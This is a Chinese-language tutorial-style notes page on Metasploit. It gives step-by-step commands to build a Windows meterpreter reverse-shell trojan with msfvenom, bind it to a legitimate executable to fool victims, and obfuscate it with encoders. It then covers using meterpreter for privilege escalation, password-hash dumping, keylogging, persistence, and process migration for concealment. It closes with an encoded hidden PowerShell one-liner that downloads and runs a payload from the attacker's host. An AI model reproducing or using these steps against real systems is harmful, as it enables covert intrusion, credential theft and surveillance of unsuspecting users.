Metasploit的使用笔记

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。

Metasploit项目最为知名的子项目是开源的Metasploit框架,一套针对远程主机进行开发和执行“exploit代码”的工具。其他重要的子项目包括Opcode数据库、shellcode文件、安全研究等内容。

Metasploit项目知名的功能还包括反取证与规避工具,其中的某些工具已经内置在Metasploit Framework里面。

摘自:维基百科https://zh.wikipedia.org/wiki/Metasploit

msf很像是python,它是有自己的命令执行窗口的,快速打开执行窗口(-q表示快速quick):

1
msfconsole -q

0x01 木马文件的配置与生成

此后的命令都是在msfconsole中输入的:

一、配置木马:

选择模块:

1
use exploit/multi/handler

输出当前选项:

1
show options

image-20220321102830032

可以看到输出了我们使用的Module(现在还没选),同时还有payload options,其中显示的是监听主机的localhostlocalport,此时,我们需要对其中的各个选项进行设置。

设置主机LHOST(攻击者ip):

1
set LHOST 192.168.119.133

然后我们需要设置payload

我们可以先通过:

1
show payloads

来展示所有payload,同时也可以随时使用tab键打印提示:

image-20220321104545327

设置payload使用命令:

1
set payload windows/meterpreter/reverse_tcp

至此,已经全部配置完毕。

二、生成木马:

打开新的命令窗口:

1
msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 --platform windows -o ./meter_re_tcp_x86.exe LOHOST=192.168.6.130 LPORT=4444

指定木马的内容,对应的文件格式,靶机的系统架构,还有我们监听者的IP和端口。

三、开启监听:

在刚刚配置木马的msfconsole中,输入run或者exploit:

image-20220321110128592

第一次失败了,我们可以尝试换端口,然后就成功开启监听了。

连接之后,可以通过**meterpreter>**命令行控制。

四、通过文件快速启动:

由于每次过程比较复杂,所以我们可以使用shell脚本和文件msf自带的读取文件执行命令的方式,更快速的完成上面的步骤:

1
2
3
4
5
6
7
8
9
10
#x86_win.sh
ip=192.168.6.130
port=4444
arch=x86
platform=windows
format=exe
payload=windows/meterpreter/reverse_tcp
out=../Backs/meter_re_tcp_x86.exe

msfvenom -p $payload -f $format -a $arch --platform $platform -o $out LHOST=$ip LPORT=$port

此文件用于生成木马文件,执行shell文件即可。

1
2
3
4
5
use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.130
set LPORT 4444
run

此文件用于快速开启监听,使用命令如下开启监听:

1
msfconsole -r ./run_x86_mete_re

0x02 捆绑、混淆

注意,这里列举的是一部分msf的功能,但并非所有,可以通过:

1
2
msfvenom -h 对所有的功能参数进行查询,要对某条功能如encoder进行详细查看,使用:
msfvenom -l encoder 当然,这里也可以替换为其他功能(也就是查看该功能的选项)

一、捆绑

捆绑指把木马捆绑在一个正常文件上,在执行正常文件的同时执行木马,迷惑受害者。

捆绑使用参数-x ,后面填所要捆绑的文件的地址即可。

​ 注意:这里可能会报由于没有Entery Point的错误,更换被绑定exe即可

二、混淆

混淆是指对木马代码进行处理,使其更难以被识别。

混淆使用参数-e '混淆器名'(无引号),即encoder,-e后的参数可以通过命令:

1
msfvenom -l encoder

进行查询,常用的有:x86/shikata_ga_nai

添加参数-i '混淆次数'(无引号),作为混淆次数。

0x03 meterpreter

注:在下方列出了很多命令,我们要查询命令集,直接使用?进行查询。

在木马连接了之后,我们使用meterpreter对受害靶机进行操作,那我们能够操作的内容有哪些呢?

getsystem命令:

1
getsystem -t0

尝试所有可能的方法,获取更高权限(当然大概率是会失败的)。

image-20220325095245215

但是这里如果我们真的成功获得了权限,可以使用命令:

1
run post/windows/gather/hashdump

得到系统管理员密码的哈希,然后用其他方式进行爆破即可。

一、文件操作

​ 以下命令操作与linux类似,如不知道应该如何使用,可以直接在meterpreter命令行,输入该操作名,或者一般是操作名 -h就会出现相关帮助。

cat:Read the contents of a file to the screen
cd:Change directory
checksum:Retrieve the checksum of a file
cp:Copy source to destination
del:Delete the specified file
dir:List files (alias for Is)
download:Download a file or directory
edit:Edit a file
getlwd:Print local working directory
getwd:Print working directory
Icd:Change local working directory
lls:List local files
Ipwd:Print local working directory
Is:List files
mkdir:Make directory
mv:Move source to destination
pwd:Print working directory
rm:Delete the specified file
rmdir:Remove directory
search:Search for files
show_ mount: List all mount points/logical drlves
upload:Upload a fle or directory

二、系统操作

clearev:Clear the event log
drop_ token: Relinquishes any active impersonation token.
execute:Execute a command
getenv:Get one or more environment variable values
getpid:Get the current process identifier
getprivs:Attempt to enable all privileges available to the current process
getsid:Get the SID of the user that the server is running as
getuid:Get the user that the server is running as
kill:Terminate a process
localtime:Displays the target system local date and time
pgrep:Filter processes by name
pkill:Terminate processes by name
ps:List running processes
reboot:Reboots the remote computer
reg:Modify and interact with the remote registry
rev2self:Calls RevertToSelf() on the remote machine(降低权限)
shell:Drop into a system command shell(进入反弹shell)
shutdown:Shuts down the remote computer
steal_ token: Attempts to steal an impersonation token from the target process
suspend:Suspends(挂起) or resumes a list of processes
sysinfo:Gets information about the remote system, such as OS

三、网络操作

arp:Display the host ARP cache
getproxy:Display the current proxy configuration
ifconfig:Display interfaces
ipconfig:Display interfaces
netstat:Display the network connections
portfwd:Forward a local port to a remote service
resolve:Resolve a set of host names on the target
route:View and modify the routing table

在这里,还需要提出一个重要的概念:

端口转发:

image-20220325104616631

我们在kali上的meterpreter中使用命令:

1
portfwd add -l 6666 -p 3389 -r 192.168.119.145

其中的参数分别为,本机开放的端口(6666),受害者开放的端口(3389),受害者的ip。

其实我这里也没明白,受害者不是内网IP吗?

四、模拟用户操作

enumdesktops: List all accessible desktops and window stations
getdesktop:Get the current meterpreter desktop
idletime:Returns the number of seconds the remote user has been idle
keyboard_ send(模拟键盘输入):Send keystrokes
keyevent(模拟键盘事件):Send key events
keyscan_ start(开启键盘记录):Start capturing keystrokes
keyscan_ dump(输出到目前为止的键盘记录):Dump the keystroke buffer
keyscan_ stop(停止键盘记录):Stop capturing keystrokes
mouse(模拟鼠标事件):Send mouse events
screenshare :Watch the remote user desktop in real time
screenshot:Grab a screenshot of the interactive desktop
setdesktop:Change the meterpreters current desktop
uictl(夺取对方对于键盘和鼠标的控制权):Control some of the user interface components

五、持久化、进程迁移

持久化:

​ 持久化就是指目标主机在重启后依然自动进行连接,要做到这一点,我们需要执行在metepreter下通过run命令实现。

1
2
run persistence -h #查看有关持久化的帮助
run persistence -x -i 3 -p '监听端口' -r '监听ip'

第二条命令开启了一个,开机启动(-x),每隔三秒尝试连接一次(-i 3)的持久化连接。

具体实现是通过更改注册表实现的。

进程迁移:

​ 为什么要进行进程迁移呢?其一,我们的木马若是绑定在其他程序上的,其他程序关闭后,木马也被关闭,无法继续运行;其二,若我们的木马是一个单独的进程,容易被发现并且消灭,太过于明显。因此,我们使用进程迁移的方式,让我们的木马附着到其他看似无害的进程上,以达到隐藏的效果。

​ 要进行进程迁移,我们使用的是migrate命令。

1
metepreter> migrate 'pid' #迁移到pid进程下

注意别迁移到系统进程,容易造成崩溃,一般选择迁移到explorer进程中。

0x04 多个木马连接

​ metesploit可以通过session来管理对某个木马进行连接的用户,即,当有多个用户对我们的同一个端口部署的同一个木马进行连接时,我们可以保存他们的状态,并使用session来管理他们。

我们总结一下刚刚我们进行的步骤吧。

  1. msfconsole -q打开msf6>
  2. use exploit/multi/handler选模块,变为msf exploit(muti/handler)>
  3. 对所有参数进行配置,例如这里选择了meterpreter,
  4. run或者exploit运行监听,打开了meterpreter>专属的命令行
  5. 然后我们按照0x03的各种操作进行操作即可。

那么,我们在什么样的情况对sessions进行管理呢?

​ 当我们不想继续进行命令操作的时候,我们就可以使用命令background退回上一层,也就是回到msf exploit(muti/handler)>中,进行配置,我们输入命令

1
2
3
4
5
sessions #查看现有的session情况
set exitonsession false #表示设置允许多个session存在
show advanced #查看拓展设置,包括刚刚设置的内容
run -j #运行刚刚哪些配置的监听,在后台监听连接
jobs #查看我们在后台运行的所有任务

这样就配置好了一个多任务的环境,此时通过sessions命令进行查看,若有多个人进行连接了,我们使用:

1
session -i 'sessions序号'

对他进行meterpreter操作,使用命令background或者其简写bg退出当前session,最后,我们还可以使用。

1
job -K #关掉所有正在后台运行的监听任务

0x05 其他模块

web_delivery:

要在对方主机上进行攻击,我们能直接上传并执行我们的木马文件必然是极好的,但是若我们具有exp的权限,能否在仅仅执行一句话的情况下就直接获得metepreter的权限呢?

我们可以使用模块:exploit/multi/script/web_delivery,使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
msf  >  use exploit/multi/script/web_delivery
msf > show options

Module options (exploit/multi/script/web_delivery):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Python

可以看到,PayloadLHOSTLPORT的设置和上文中提到的方法是一样的,然后我们可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
msf6 exploit(multi/script/web_delivery) > show targets

Exploit targets:

Id Name
-- ----
0 Python
1 PHP
2 PSH
3 Regsvr32
4 pubprn
5 SyncAppvPublishingServer
6 PSH (Binary)
7 Linux
8 Mac OS X

可以看到,可选的语言还是很多的,我们选择只要是windows就会有的PSH,也就是powershell。

注:PSH和**PSH(Binary)**的区别是生成的内容是是正常的还是二进制编码过的,后者更不容易被识别。

二进制情况如下:

1
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB1AEEAVAA9ACIAZQBjAGgAbwAgACgAJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAcQBWAFoAWgBnAG0AOAB6AC4AZQB4AGUAJwApACIAOwAgACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADYALgAxADMAMAA6ADgAMAA4ADAALwAnACwAIAAkAHUAQQBUACkAOwAgAGkAbgB2AG8AawBlAC0AaQB0AGUAbQAgACQAdQBBAFQA